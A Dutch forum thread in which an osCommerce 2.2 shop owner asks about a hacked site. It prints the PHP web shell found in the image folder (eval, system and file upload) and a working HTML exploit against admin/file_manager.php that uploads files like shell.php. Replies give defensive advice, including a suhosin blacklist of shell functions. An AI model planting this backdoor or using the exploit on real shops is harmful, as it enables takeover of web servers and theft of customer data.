Onderwerp: oscomerce hack?

Ik zag 5 files staan in de image map van oscomerce
Waaronder deze: goog1e6d801d92492b72.php
Hieronder de code:

PHP Code:

<?php exit;?><?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>

Weet iemand wat dat is?

Een file upload script.

Lijkt me dus geen goede bedoeling en heeft niks met osCommerce te maken.
Maar het bestand is wellicht wel via oscommerce geupload of een ander script wat erbij staat.

Ik heb het gevonden hoe ze er in komen, ze gebruiken /admin/file_manager.php
Heeft er iemand een idee hoe je dit lek kunt stoppen?
<?php # Web Shell by boff

PHP Code:

[%] vulnerable file: /admin/file_manager.php
 
[REMOTE FILE UPLOAD VULNERABILITY]
 
[$] Exploit:
 
<html><head><title>Oscommerce Online Merchant v2.2 - Remote File Upload </title></head>
<br><br><u>UPLOAD FILE:</u><br>
<form name="file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=processuploads" method="post" enctype="multipart/form-data">
<input type="file" name="file_1"><br>
<input name="submit" type="submit" value="   Upload   " >
</form>
 
<br><u>CREATE FILE:</u><br>
<form name="new_file" action="http://<--  CHANGE HERE   -->/admin/file_manager.php/login.php?action=save" method="post">
FILE NAME:<br>
<input type="text" name="filename">&nbsp; (ex. shell.php)<br>FILE CONTENTS:<br>
<textarea name="file_contents" wrap="soft" cols="70" rows="10"></textarea>
<input name="submit" type="submit" value="   Save   " >
</form>
</html> 


Nou met mod_security kom je een heel eind.

En draait deze osCommerce de laatste versie?

mod_security draait al mee, suPHP ook.
Er is verder ook geen schade aangericht, verder dan de files uploaden kwamen ze niet.
Maar ik heb voor de zekerheid file_manager.php verwijderd.
De versie is van oscommerce is 2.2

Je kunt ook d.m.v. suhosin e.e.a. blokkeren, wij blokkeren standaard de volgende functies i.s.m. suhosin

; suhosin
suhosin.executor.func.blacklist = "exec,system,passthru,escapeshellarg,escapeshellcm d,proc_close,proc_open,dl,popen,show_source"

Dave ik gebruik custom php.ini voor elke gebruiker, dus iedere account heeft zijn eigen php.ini
Ik was net bezig om deze aan te passen

Ik vermoed http://www.exploit-db.com/exploits/14799/

Ah, versie 2.2.

Kijk maar gewoon even hier. Zijn er genoeg voor 2.2 zie ik...

En mod_security is ook al geconfigureerd?

Ik vermoed dat de hack gelijk gaat met de mail hack van laatst via het login.php formulier

Oorspronkelijk geplaatst door Triloxigen

Ik vermoed dat de hack gelijk gaat met de mail hack van laatst via het login.php formulier

Welke mail hack gaat het over? Ik heb nooit een mail hack gehad gelukkig.
Ik ben nog even aan het zoeken geweest, de nieuwe oscomerce heeft ook al lekken.
Het nadeel bij oscomerce is dat bij een update/upgrade de hele template wordt overschreven,
je kunt dan alle custom codes weer opnieuw gaan doen.

Oorspronkelijk geplaatst door Herbert

Welke mail hack gaat het over?

Ik gok deze.

Ilnee, was een nutteloze blogpost is dat op je link zeg. Ik ga ook een blog maken met berichten over iedere webapplicatie die ik kan bedenken met login screentje erbij en text zoals "Software X is vulnerable" "hackers can get to all admin functions if they want" want dat is de keiharde waarheid bij kant en klare pakketten (waar de source van beschikbaar is) zoals deze.

Proof of Concept erbij was wellicht leuk geweest.

Maar a) het is geen blogpost, b) het dient enkel ter waarschuwing van de eigen klanten en c) er wordt een workaround vermeld. Prima dat jij er niet de informatie vindt die je kennelijk zocht, maar ik vind het een prima gebaar naar de klanten van die host. Je vergelijking raakt kant noch wal.